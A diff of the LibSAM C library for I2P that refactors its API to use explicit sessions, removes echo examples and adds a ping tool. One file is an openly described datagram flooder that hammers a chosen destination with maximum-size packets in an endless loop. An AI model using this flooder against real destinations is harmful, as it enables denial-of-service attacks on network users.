* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "sam.h"
static void dgramback(sam_pubkey_t dest, void *data, size_t size);
static void diedback(void);
static void logback(char *s);
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result);
/*
* This is an extremely simple echo client which shows you how LibSAM
* datagrams work. We lookup the name 'dgram-server' then send some data to
* him. If everything works, we should get the same data back.
*/
/*
* NOTE!!!!!!!! This is currently broken!
*/
int main(int argc, char* argv[])
{
samerr_t rc;
/* Hook up the callback functions */
sam_dgramback = &dgramback;
sam_diedback = &diedback;
sam_logback = &logback;
sam_namingback = &namingback;
/* Connect to the SAM server -- you can use either an IP or DNS name */
rc = sam_connect("localhost", 7656, "dgram-client", SAM_DGRAM, 0);
if (rc != SAM_OK) {
fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
exit(1);
}
/*
* This is equivalent to doing a DNS lookup on the normal internet. Note
* that the dgram-server must already be running for this to work.
* When the lookup completes, we send them some data (see namingback()).
*/
sam_naming_lookup("dgram-server");
/*
* Wait for something to happen, then invoke the appropriate callback
*/
while (true)
sam_read_buffer();
return 0;
}
/*
* When we receive some data, print it out to the screen
*/
static void dgramback(sam_pubkey_t dest, void *data, size_t size)
{
printf("Datagram received: %s\n", (char *)data);
free(data);
}
/*
* This is called whenever the SAM connection fails (like if the I2P router is
* shut down)
*/
static void diedback(void)
{
fprintf(stderr, "Lost SAM connection!\n");
exit(1);
}
/*
* The logging callback prints any logging messages from LibSAM
*/
static void logback(char *s)
{
fprintf(stderr, "LibSAM: %s\n", s);
}
/*
* When a name is resolved, send data to that destination address
*/
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result)
{
char *data = "Hello, invisible world!";
printf("I got %s's base 64 destination, so now I will send him some " \
"data...\n", name);
sam_dgram_send(pubkey, data, strlen(data));
/*
* ^^^ An extra NUL is appended to the data by LibSAM, so it is not
* necessary to send trailing NULs over the wire for strings. This doesn't
* cause problems with binary data, because the NUL isn't included in `size'
* in sam_dgramback().
* That is why we use strlen(data) instead of strlen(data) + 1.
*/
puts("Datagram sent");
}

View File

@ -1,108 +0,0 @@
/*
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the author nor the names of any contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <assert.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include "sam.h"
static void dgramback(sam_pubkey_t dest, void *data, size_t size);
static void diedback(void);
static void logback(char *s);
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result);
/*
* This is an extremely simple echo server which shows you how LibSAM
* datagrams work. We echo back every datagram that is sent to us.
*/
int main(int argc, char* argv[])
{
samerr_t rc;
/* Hook up the callback functions */
sam_dgramback = &dgramback;
sam_diedback = &diedback;
sam_logback = &logback;
sam_namingback = &namingback;
/* Connect to the SAM server -- you can use either an IP or DNS name */
rc = sam_connect("127.0.0.1", 7656, "dgram-server", SAM_DGRAM, 0);
if (rc != SAM_OK) {
fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
exit(1);
}
/*
* At this point we just keep polling the buffer, which causes the
* appropriate callbacks to be called whenever something happens
*/
while (true)
sam_read_buffer();
return 0;
}
/*
* When we receive some data, we just ECHO the exact same data back to them
*/
static void dgramback(sam_pubkey_t dest, void *data, size_t size)
{
puts("Echoing datagram");
sam_dgram_send(dest, data, size);
free(data);
}
/*
* This is called whenever the SAM connection fails (like if the I2P router is
* shut down)
*/
static void diedback(void)
{
fprintf(stderr, "Lost SAM connection!\n");
exit(1);
}
/*
* The logging callback prints any logging messages from LibSAM
*/
static void logback(char *s)
{
fprintf(stderr, "LibSAM: %s\n", s);
}
/*
* Not used, but the function has to be in the program anyway
*/
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result)
{
assert(false); /* we don't do any naming lookups in this program */
}

View File

@ -0,0 +1,39 @@
#
# This Makefile is compatible with GNU Make and should work on POSIX systems
#
#
# Programs
#
CC = gcc
INSTALL = install
RM = rm
#
# Flags
#
CFLAGS = -g -O2 -pipe -std=c99 -Wall
CFLAGS += -I../../inc -L../../lib
LIBS = -lsam
#
# Build rules
#
all: clean i2p-ping
i2p-ping: i2p-ping.c
$(CC) $(CFLAGS) -o i2p-ping.o -c i2p-ping.c
$(CC) $(CFLAGS) -o i2p-ping i2p-ping.o $(LIBS)
install: i2p-ping
$(INSTALL) i2p-ping $(HOME)/bin
#
# Cleanup rules
#
clean:
-$(RM) -f i2p-ping *.o

View File

@ -0,0 +1,245 @@
/*
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the author nor the names of any contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include "sam.h"
static void usage();
static void closeback(sam_sess_t *session, sam_sid_t stream_id,
samerr_t reason);
static void connectback(sam_sess_t *session, sam_sid_t stream_id,
sam_pubkey_t dest);
static void databack(sam_sess_t *session, sam_sid_t stream_id, void *data,
size_t size);
static void diedback(sam_sess_t *session);
static void logback(char *s);
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result);
static void statusback(sam_sess_t *session, sam_sid_t stream_id,
samerr_t result);
bool gotdest = false;
sam_pubkey_t dest;
bool quiet = false;
samerr_t laststatus = SAM_NULL;
sam_sid_t laststream = 0;
bool mihi = false;
bool bell = false;
int main(int argc, char* argv[])
{
int ch;
int count = INT_MAX; /* number of times to ping */
char *samhost = "localhost";
uint16_t samport = 7656;
while ((ch = getopt(argc, argv, "ac:h:mp:qv")) != -1) {
switch (ch) {
case 'a': /* bell */
bell = true;
break;
case 'c': /* packet count */
count = atoi(optarg);
break;
case 'h': /* SAM host */
samhost = optarg;
break;
case 'm': /* I2Ping emulation mode */
count = 3;
mihi = true;
quiet = true;
break;
case 'p': /* SAM port */
samport = atoi(optarg);
break;
case 'q': /* quiet mode */
quiet = true;
break;
case 'v': /* version */
puts("$Id: i2p-ping.c,v 1.2 2004/07/31 22:20:22 mpc Exp $");
puts("Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>");
break;
case '?':
default:
usage();
return 0;
}
}
argc -= optind;
argv += optind;
if (argc == 0) { /* they forgot to specify a ping target */
fprintf(stderr, "Ping who?\n");
return 1;
}
/* Hook up the callback functions - required by LibSAM */
sam_closeback = &closeback;
sam_connectback = &connectback;
sam_databack = &databack;
sam_diedback = &diedback;
sam_logback = &logback;
sam_namingback = &namingback;
sam_statusback = &statusback;
sam_sess_t *session = NULL; /* set to NULL to have LibSAM do the malloc */
session = sam_session_init(session); /* malloc and set defaults */
samerr_t rc = sam_connect(session, samhost, samport, "TRANSIENT",
SAM_STREAM, 0);
if (rc != SAM_OK) {
fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
sam_session_free(&session);
return 1;
}
for (int j = 0; j < argc; j++) {
if (strlen(argv[j]) == 516) {
memcpy(dest, argv[j], SAM_PUBKEY_LEN);
gotdest = true;
} else
sam_naming_lookup(session, argv[j]);
while (!gotdest) /* just wait for the naming lookup to complete */
sam_read_buffer(session);
gotdest = false;
for (int i = 0; i < count; ++i) {
time_t start = time(0);
sam_sid_t sid = sam_stream_connect(session, dest);
while (laststream != sid && laststatus == SAM_NULL)
sam_read_buffer(session); /* wait for the connect */
if (laststatus == SAM_OK)
sam_stream_close(session, laststream);
time_t finish = time(0);
laststream = 0;
if (laststatus == SAM_OK) {
if (bell)
printf("\a"); /* putchar() doesn't work for some reason */
if (!mihi)
printf("%s: %.0fs\n", argv[j], difftime(finish, start));
else
printf("+ ");
} else {
if (!mihi)
printf("%s: %s\n", argv[j], sam_strerror(laststatus));
else
printf("- ");
}
laststatus = SAM_NULL;
}
if (mihi)
printf(" %s\n", argv[j]);
}
sam_close(session);
sam_session_free(&session);
return 0;
}
void usage()
{
puts("usage: i2p-ping [-amqv?] [-c count] [-h samhost] [-p samport] " \
"<b64dest|name>\n\t[b64dest|name] [b64dest|name] ...");
}
/*
* Connection closed
*/
static void closeback(sam_sess_t *session, sam_sid_t stream_id, samerr_t reason)
{
fprintf(stderr, "Connection closed to stream %d: %s\n", stream_id,
sam_strerror(reason));
}
/*
* Someone connected to us - how dare they!
*/
static void connectback(sam_sess_t *session, sam_sid_t stream_id,
sam_pubkey_t dest)
{
sam_stream_close(session, stream_id);
}
/*
* A peer sent us some data - just ignore it
*/
static void databack(sam_sess_t *session, sam_sid_t stream_id, void *data,
size_t size)
{
free(data);
}
/*
* This is called whenever the SAM connection fails (like if the I2P router is
* shut down)
*/
static void diedback(sam_sess_t *session)
{
fprintf(stderr, "Lost SAM connection!\n");
exit(1);
}
/*
* The logging callback prints any logging messages from LibSAM (typically
* errors)
*/
static void logback(char *s)
{
if (!quiet)
fprintf(stderr, "LibSAM: %s\n", s);
}
/*
* This is really hackish, but we know that we are only doing one lookup, so
* what the hell
*/
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result)
{
if (result != SAM_OK) {
fprintf(stderr, "Naming lookup failed: %s\n", sam_strerror(result));
exit(1);
}
memcpy(dest, pubkey, SAM_PUBKEY_LEN);
gotdest = true;
}
/*
* Our connection attempt returned a result
*/
static void statusback(sam_sess_t *session, sam_sid_t stream_id,
samerr_t result)
{
laststatus = result;
laststream = stream_id;
}

View File

@ -34,88 +34,149 @@
* Use only with the utmost courtesy.
*/
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "sam.h"
static void dgramback(sam_pubkey_t dest, void *data, size_t size);
static void diedback(void);
/*
* LibSAM callbacks - functions in our code that are called by LibSAM when
* something happens
*/
static void dgramback(sam_sess_t *session, sam_pubkey_t dest, void *data,
size_t size);
static void diedback(sam_sess_t *session);
static void logback(char *s);
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result);
/*
* Just some ugly global variables. Don't do this in your program.
*/
bool gotdest = false;
sam_pubkey_t dest;
int main(int argc, char* argv[])
{
/*
* The target of our attack is specified on the command line
*/
if (argc != 2) {
fprintf(stderr, "Syntax: %s <b64dest|name>\n", argv[0]);
return 1;
}
/* Hook up the callback functions - required by LibSAM */
sam_dgramback = &dgramback;
sam_diedback = &diedback;
sam_logback = &logback;
sam_namingback = &namingback;
/* a tunnel length of 2 is the default - adjust to your preference vv */
samerr_t rc = sam_connect("localhost", 7656, "TRANSIENT", SAM_DGRAM, 2);
/*
* This tool would be more destructive if multiple SAM session were used,
* but they aren't - at least for now.
*/
sam_sess_t *session = NULL; /* set to NULL to have LibSAM do the malloc */
session = sam_session_init(session); /* malloc and set defaults */
/* Connect to the SAM server -- you can use either an IP or DNS name */
samerr_t rc = sam_connect(session, "localhost", 7656, "TRANSIENT",
SAM_DGRAM, 2); /* the tunnel length of 2 can be adjusted to whatever */
if (rc != SAM_OK) {
fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
exit(1);
sam_session_free(&session);
return 1;
}
/*
* Check whether they've supplied a name or a base 64 destination
*
* Note that this is a hack. Jrandom says that once certificates are added,
* the length could be different depending on the certificate's size.
*/
if (strlen(argv[1]) == 516) {
memcpy(dest, argv[1], SAM_PUBKEY_LEN);
gotdest = true;
} else {
/*
* If they supplied a name, we have to do a lookup on it. This is
* equivalent to doing a DNS lookup on the normal internet. When the
* lookup completes, we send them some data.
*/
sam_naming_lookup(session, argv[1]);
}
else
sam_naming_lookup(argv[1]);
while (!gotdest)
sam_read_buffer();
while (!gotdest) /* just wait for the naming lookup to complete */
sam_read_buffer(session);
char data[SAM_DGRAM_PAYLOAD_MAX];
memset(data, '#', SAM_DGRAM_PAYLOAD_MAX);
memset(data, '$', SAM_DGRAM_PAYLOAD_MAX); /* We're sending them MONEY! */
size_t sentbytes = 0;
while (true) {
rc = sam_dgram_send(dest, data, SAM_DGRAM_PAYLOAD_MAX);
/*
* Send them a flood of the largest sized datagrams possible in an
* infinite loop!
*/
rc = sam_dgram_send(session, dest, data, SAM_DGRAM_PAYLOAD_MAX);
if (rc != SAM_OK) {
fprintf(stderr, "sam_dgram_send() failed: %s\n", sam_strerror(rc));
sam_session_free(&session);
return 1;
}
sentbytes += SAM_DGRAM_PAYLOAD_MAX;
printf("Bombs away! (%u kbytes sent so far)\n", sentbytes / 1024);
sam_read_buffer();
/*
* sam_read_buffer() just checks for incoming activity from the SAM
* session, and invokes the appropriate callbacks. We aren't really
* expecting any incoming activity here, but it is a good idea to check
* anyway.
*/
sam_read_buffer(session);
}
sam_session_free(&session); /* de-allocates memory used by the SAM session*/
return 0;
}
static void dgramback(sam_pubkey_t dest, void *data, size_t size)
/*
* When we receive some data from another peer, just ignore it. Denial of
* service programs don't need input ;)
*/
static void dgramback(sam_sess_t *session, sam_pubkey_t dest, void *data,
size_t size)
{
puts("Received a datagram (ignored)");
free(data);
}
static void diedback(void)
/*
* This is called whenever the SAM connection fails (like if the I2P router is
* shut down)
*/
static void diedback(sam_sess_t *session)
{
fprintf(stderr, "Lost SAM connection!\n");
/* high quality code would do a sam_session_free() here */
exit(1);
}
/*
* The logging callback prints any logging messages from LibSAM (typically
* errors)
*/
static void logback(char *s)
{
fprintf(stderr, "LibSAM: %s\n", s);
}
/*
* This is really hackish, but we know that we are only doing one lookup, so
* what the hell
*/
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result)
{
if (result != SAM_OK) {
fprintf(stderr, "Naming lookup failed: %s\n", sam_strerror(result));
/* high quality code would do a sam_session_free() here */
exit(1);
}
memcpy(dest, pubkey, SAM_PUBKEY_LEN);

View File

@ -112,11 +112,6 @@
/*
* Platform-dependent variable types
*/
#ifdef WINSOCK
typedef SOCKET socket_t;
#else
typedef int socket_t;
#endif
#ifdef NO_SSIZE_T
typedef signed long ssize_t;
#endif

View File

@ -42,8 +42,8 @@ extern "C" {
*/
/* The maximum length a SAM command can be */
#define SAM_CMD_LEN 128
/*The maximum size of a single datagram packet (-30 temporary bug fix for SAM)*/
#define SAM_DGRAM_PAYLOAD_MAX ((31 * 1024) - 30)
/* The maximum size of a single datagram packet */
#define SAM_DGRAM_PAYLOAD_MAX (31 * 1024)
/* The longest log message */
#define SAM_LOGMSG_LEN 256
/* The longest `name' arg for the naming lookup callback */
@ -66,6 +66,12 @@ typedef unsigned int uint_t;
typedef unsigned long ulong_t;
typedef unsigned short ushort_t;
#ifdef WINSOCK
typedef SOCKET socket_t;
#else
typedef int socket_t;
#endif
typedef enum {SAM_STREAM, SAM_DGRAM, SAM_RAW} sam_conn_t; /* SAM connection */
typedef char sam_pubkey_t[SAM_PUBKEY_LEN]; /* base 64 public key */
@ -77,12 +83,20 @@ typedef struct {
typedef int_fast32_t sam_sid_t; /* stream id number */
typedef struct {
socket_t sock; /* the socket used for communications with SAM */
bool connected; /* whether the socket is connected */
sam_sid_t prev_id; /* the last stream id number we used */
} sam_sess_t; /* a SAM session */
typedef enum { /* see sam_strerror() for detailed descriptions of these */
/* no error code - not used by me (you can use it in your program) */
SAM_NULL = 0,
/* error codes from SAM itself (SAM_OK is not an actual "error") */
SAM_OK, SAM_CANT_REACH_PEER, SAM_DUPLICATED_DEST, SAM_I2P_ERROR,
SAM_INVALID_KEY, SAM_KEY_NOT_FOUND, SAM_PEER_NOT_FOUND, SAM_TIMEOUT,
SAM_UNKNOWN,
/* error codes from libsam */
/* error codes from LibSAM */
SAM_BAD_VERSION, SAM_CALLBACKS_UNSET, SAM_SOCKET_ERROR, SAM_TOO_BIG
} samerr_t;
@ -90,41 +104,53 @@ typedef enum { /* see sam_strerror() for detailed descriptions of these */
* Public functions
*/
/* SAM controls */
extern bool sam_close();
extern samerr_t sam_connect(const char *samhost, uint16_t samport,
const char *destname, sam_conn_t style, uint_t tunneldepth);
extern void sam_naming_lookup(const char *name);
extern bool sam_read_buffer();
/* SAM controls - sessions */
extern sam_sess_t *sam_session_init(sam_sess_t *session);
extern void sam_session_free(sam_sess_t **session);
/* SAM controls - connection */
extern bool sam_close(sam_sess_t *session);
extern samerr_t sam_connect(sam_sess_t *session, const char *samhost,
uint16_t samport, const char *destname, sam_conn_t style,
uint_t tunneldepth);
/* SAM controls - utilities */
extern void sam_naming_lookup(sam_sess_t *session, const char *name);
extern bool sam_read_buffer(sam_sess_t *session);
extern const char *sam_strerror(samerr_t code);
/* SAM controls - callbacks */
extern void (*sam_diedback)();
extern void (*sam_diedback)(sam_sess_t *session);
extern void (*sam_logback)(char *str);
extern void (*sam_namingback)(char *name, sam_pubkey_t pubkey,
samerr_t result);
/* Stream commands */
extern void sam_stream_close(sam_sid_t stream_id);
extern sam_sid_t sam_stream_connect(const sam_pubkey_t dest);
extern samerr_t sam_stream_send(sam_sid_t stream_id, const void *data,
size_t size);
extern void sam_stream_close(sam_sess_t *session, sam_sid_t stream_id);
extern sam_sid_t sam_stream_connect(sam_sess_t *session,
const sam_pubkey_t dest);
extern samerr_t sam_stream_send(sam_sess_t *session, sam_sid_t stream_id,
const void *data, size_t size);
/* Stream commands - callbacks */
extern void (*sam_closeback)(sam_sid_t stream_id, samerr_t reason);
extern void (*sam_connectback)(sam_sid_t stream_id, sam_pubkey_t dest);
extern void (*sam_databack)(sam_sid_t stream_id, void *data, size_t size);
extern void (*sam_statusback)(sam_sid_t stream_id, samerr_t result);
extern void (*sam_closeback)(sam_sess_t *session, sam_sid_t stream_id,
samerr_t reason);
extern void (*sam_connectback)(sam_sess_t *session, sam_sid_t stream_id,
sam_pubkey_t dest);
extern void (*sam_databack)(sam_sess_t *session, sam_sid_t stream_id,
void *data, size_t size);
extern void (*sam_statusback)(sam_sess_t *session, sam_sid_t stream_id,
samerr_t result);
/* Stream send queue */
extern void sam_sendq_add(sam_sid_t stream_id, sam_sendq_t **sendq,
const void *data, size_t dsize);
extern void sam_sendq_flush(sam_sid_t stream_id, sam_sendq_t **sendq);
/* Stream send queue (experimental) */
extern void sam_sendq_add(sam_sess_t *session, sam_sid_t stream_id,
sam_sendq_t **sendq, const void *data, size_t dsize);
extern void sam_sendq_flush(sam_sess_t *session, sam_sid_t stream_id,
sam_sendq_t **sendq);
/* Datagram commands */
extern samerr_t sam_dgram_send(const sam_pubkey_t dest, const void *data,
size_t size);
extern samerr_t sam_dgram_send(sam_sess_t *session, const sam_pubkey_t dest,
const void *data, size_t size);
/* Datagram commands - callbacks */
extern void (*sam_dgramback)(sam_pubkey_t dest, void *data, size_t size);
extern void (*sam_dgramback)(sam_sess_t *session, sam_pubkey_t dest,
void *data, size_t size);
#ifdef __cplusplus
}

View File

@ -31,74 +31,77 @@
#include "platform.h"
#include "sam.h"
static bool sam_hello();
static bool sam_hello(sam_sess_t *session);
static void sam_log(const char *format, ...);
static void sam_parse(char *s);
static ssize_t sam_read1(char *buf, size_t n);
static ssize_t sam_read2(void *buf, size_t n);
static bool sam_readable();
static void sam_parse(sam_sess_t *session, char *s);
static ssize_t sam_read1(sam_sess_t *session, char *buf, size_t n);
static ssize_t sam_read2(sam_sess_t *session, void *buf, size_t n);
static bool sam_readable(sam_sess_t *session);
static sam_sendq_t *sam_sendq_create();
static samerr_t sam_session_create(const char *destname, sam_conn_t style,
static samerr_t sam_session_create(sam_sess_t *session,
const char *destname, sam_conn_t style,
uint_t tunneldepth);
static bool sam_socket_connect(const char *host, uint16_t port);
static bool sam_socket_connect(sam_sess_t *session, const char *host,
uint16_t port);
static bool sam_socket_resolve(const char *hostname, char *ipaddr);
#ifdef WINSOCK
static samerr_t sam_winsock_cleanup();
static samerr_t sam_winsock_startup();
static const char *sam_winsock_strerror(int code);
#endif
static ssize_t sam_write(const void *buf, size_t n);
static ssize_t sam_write(sam_sess_t *session, const void *buf, size_t n);
/*
* Callback functions
* Note: if you add a new callback be sure to check for non-NULL in sam_connect
*/
/* a peer closed the connection */
void (*sam_closeback)(sam_sid_t stream_id, samerr_t reason) = NULL;
void (*sam_closeback)(sam_sess_t *session, sam_sid_t stream_id, samerr_t reason)
= NULL;
/* a peer connected to us */
void (*sam_connectback)(sam_sid_t stream_id, sam_pubkey_t dest) = NULL;
void (*sam_connectback)(sam_sess_t *session, sam_sid_t stream_id,
sam_pubkey_t dest) = NULL;
/* a peer sent some stream data (`data' MUST be freed) */
void (*sam_databack)(sam_sid_t stream_id, void *data, size_t size) = NULL;
void (*sam_databack)(sam_sess_t *session, sam_sid_t stream_id, void *data,
size_t size) = NULL;
/* a peer sent some datagram data (`data' MUST be freed) */
void (*sam_dgramback)(sam_pubkey_t dest, void *data, size_t size) = NULL;
void (*sam_dgramback)(sam_sess_t *session, sam_pubkey_t dest, void *data,
size_t size) = NULL;
/* we lost the connection to the SAM host */
void (*sam_diedback)() = NULL;
void (*sam_diedback)(sam_sess_t *session) = NULL;
/* logging callback */
void (*sam_logback)(char *str) = NULL;
/* naming lookup reply - `pubkey' will be NULL if `result' isn't SAM_OK */
void (*sam_namingback)(char *name, sam_pubkey_t pubkey,
samerr_t result) = NULL;
void (*sam_namingback)(char *name, sam_pubkey_t pubkey, samerr_t result) = NULL;
/* our connection to a peer has completed */
void (*sam_statusback)(sam_sid_t stream_id, samerr_t result) = NULL;
static socket_t samd; /* The socket descriptor we're using for
communications with SAM */
static bool samd_connected = false; /* Whether we're connected with SAM */
void (*sam_statusback)(sam_sess_t *session, sam_sid_t stream_id,
samerr_t result) = NULL;
/*
* Closes the connection to the SAM host
*
* Returns: true on success, false on failure
*/
bool sam_close()
bool sam_close(sam_sess_t *session)
{
if (!samd_connected)
assert(session != NULL);
if (!session->connected)
return true;
#ifdef WINSOCK
if (closesocket(samd) == SOCKET_ERROR) {
if (closesocket(session->sock) == SOCKET_ERROR) {
SAMLOG("Failed closing the SAM connection (%s)",
sam_winsock_strerror(WSAGetLastError()));
return false;
}
samd_connected = false;
session->connected = false;
if (sam_winsock_cleanup() == SAM_OK)
return true;
else
return false;
#else
if (close(samd) == 0) {
samd_connected = false;
if (close(session->sock) == 0) {
session->connected = false;
return true;
} else {
SAMLOG("Failed closing the SAM connection (%s)", strerror(errno));
@ -110,6 +113,7 @@ bool sam_close()
/*
* Connects to the SAM host
*
* session - an unused SAM session created by sam_session_init()
* samhost - SAM host
* samport - SAM port
* destname - destination name for this program, or "TRANSIENT" for a random
@ -117,24 +121,26 @@ bool sam_close()
* tunneldepth - length of the I2P tunnels created by this program (longer is
* more anonymous, but slower)
*
* Returns: true on success, false on failure
* Returns: True on success, false on failure. If true, `session' will be ready
* for use.
*/
samerr_t sam_connect(const char *samhost, uint16_t samport,
const char *destname, sam_conn_t style, uint_t tunneldepth)
samerr_t sam_connect(sam_sess_t *session, const char *samhost, uint16_t samport,
const char *destname, sam_conn_t style, uint_t tunneldepth)
{
assert(session != NULL);
samerr_t rc;
if (style == SAM_STREAM) {
if (sam_closeback == NULL || sam_connectback == NULL ||
sam_databack == NULL || sam_diedback == NULL ||
sam_logback == NULL || sam_namingback == NULL ||
sam_statusback == NULL) {
if (sam_closeback == NULL || sam_connectback == NULL
|| sam_databack == NULL || sam_diedback == NULL
|| sam_logback == NULL || sam_namingback == NULL
|| sam_statusback == NULL) {
SAMLOGS("Please set callback functions before connecting");
return SAM_CALLBACKS_UNSET;
}
} else if (style == SAM_DGRAM) {
if (sam_dgramback == NULL || sam_diedback == NULL ||
sam_logback == NULL || sam_namingback == NULL) {
if (sam_dgramback == NULL || sam_diedback == NULL
|| sam_logback == NULL || sam_namingback == NULL) {
SAMLOGS("Please set callback functions before connecting");
return SAM_CALLBACKS_UNSET;
}
@ -150,7 +156,7 @@ samerr_t sam_connect(const char *samhost, uint16_t samport,
return rc;
#endif
if (!sam_socket_connect(samhost, samport)) {
if (!sam_socket_connect(session, samhost, samport)) {
#ifdef WINSOCK
SAMLOG("Couldn't connect to SAM at %s:%u (%s)",
samhost, samport, sam_winsock_strerror(WSAGetLastError()));
@ -162,10 +168,10 @@ samerr_t sam_connect(const char *samhost, uint16_t samport,
return SAM_SOCKET_ERROR;
}
if (!sam_hello())
if (!sam_hello(session))
return SAM_BAD_VERSION;
rc = sam_session_create(destname, style, tunneldepth);
rc = sam_session_create(session, destname, style, tunneldepth);
if (rc != SAM_OK)
return rc;
@ -182,15 +188,17 @@ samerr_t sam_connect(const char *samhost, uint16_t samport,
*
* Returns: true on success, false on failure
*/
samerr_t sam_dgram_send(const sam_pubkey_t dest, const void *data, size_t size)
samerr_t sam_dgram_send(sam_sess_t *session, const sam_pubkey_t dest,
const void *data, size_t size)
{
assert(session != NULL);
char cmd[SAM_PKCMD_LEN];
if (size < 1 || size > SAM_DGRAM_PAYLOAD_MAX) {
#ifdef NO_Z_FORMAT
SAMLOG("Invalid data send size (%u bytes)", size);
#else
SAMLOG("Invalid data send size (%dz bytes)", size);
SAMLOG("Invalid data send size (%zu bytes)", size);
#endif
return SAM_TOO_BIG;
}
@ -198,11 +206,11 @@ samerr_t sam_dgram_send(const sam_pubkey_t dest, const void *data, size_t size)
snprintf(cmd, sizeof cmd, "DATAGRAM SEND DESTINATION=%s SIZE=%u\n",
dest, size);
#else
snprintf(cmd, sizeof cmd, "DATAGRAM SEND DESTINATION=%s SIZE=%dz\n",
snprintf(cmd, sizeof cmd, "DATAGRAM SEND DESTINATION=%s SIZE=%zu\n",
dest, size);
#endif
sam_write(cmd, strlen(cmd));
sam_write(data, size);
sam_write(session, cmd, strlen(cmd));
sam_write(session, data, size);
return SAM_OK;
}
@ -213,14 +221,15 @@ samerr_t sam_dgram_send(const sam_pubkey_t dest, const void *data, size_t size)
*
* Returns: true on success, false on reply failure
*/
static bool sam_hello()
static bool sam_hello(sam_sess_t *session)
{
assert(session != NULL);
#define SAM_HELLO_CMD "HELLO VERSION MIN=1.0 MAX=1.0\n"
#define SAM_HELLO_REPLY "HELLO REPLY RESULT=OK VERSION=1.0"
char reply[SAM_REPLY_LEN];
sam_write(SAM_HELLO_CMD, strlen(SAM_HELLO_CMD));
sam_read1(reply, SAM_REPLY_LEN);
sam_write(session, SAM_HELLO_CMD, strlen(SAM_HELLO_CMD));
sam_read1(session, reply, SAM_REPLY_LEN);
if (strncmp(reply, SAM_HELLO_REPLY, strlen(SAM_HELLO_REPLY)) == 0)
return true;
else {
@ -251,12 +260,13 @@ static void sam_log(const char *format, ...)
*
* name - name to lookup, or ME to lookup our own name
*/
void sam_naming_lookup(const char *name)
void sam_naming_lookup(sam_sess_t *session, const char *name)
{
assert(session != NULL);
char cmd[SAM_CMD_LEN];
snprintf(cmd, sizeof cmd, "NAMING LOOKUP NAME=%s\n", name);
sam_write(cmd, strlen(cmd));
sam_write(session, cmd, strlen(cmd));
return;
}
@ -266,8 +276,9 @@ void sam_naming_lookup(const char *name)
*
* s - string of data that we read (read past tense)
*/
static void sam_parse(char *s)
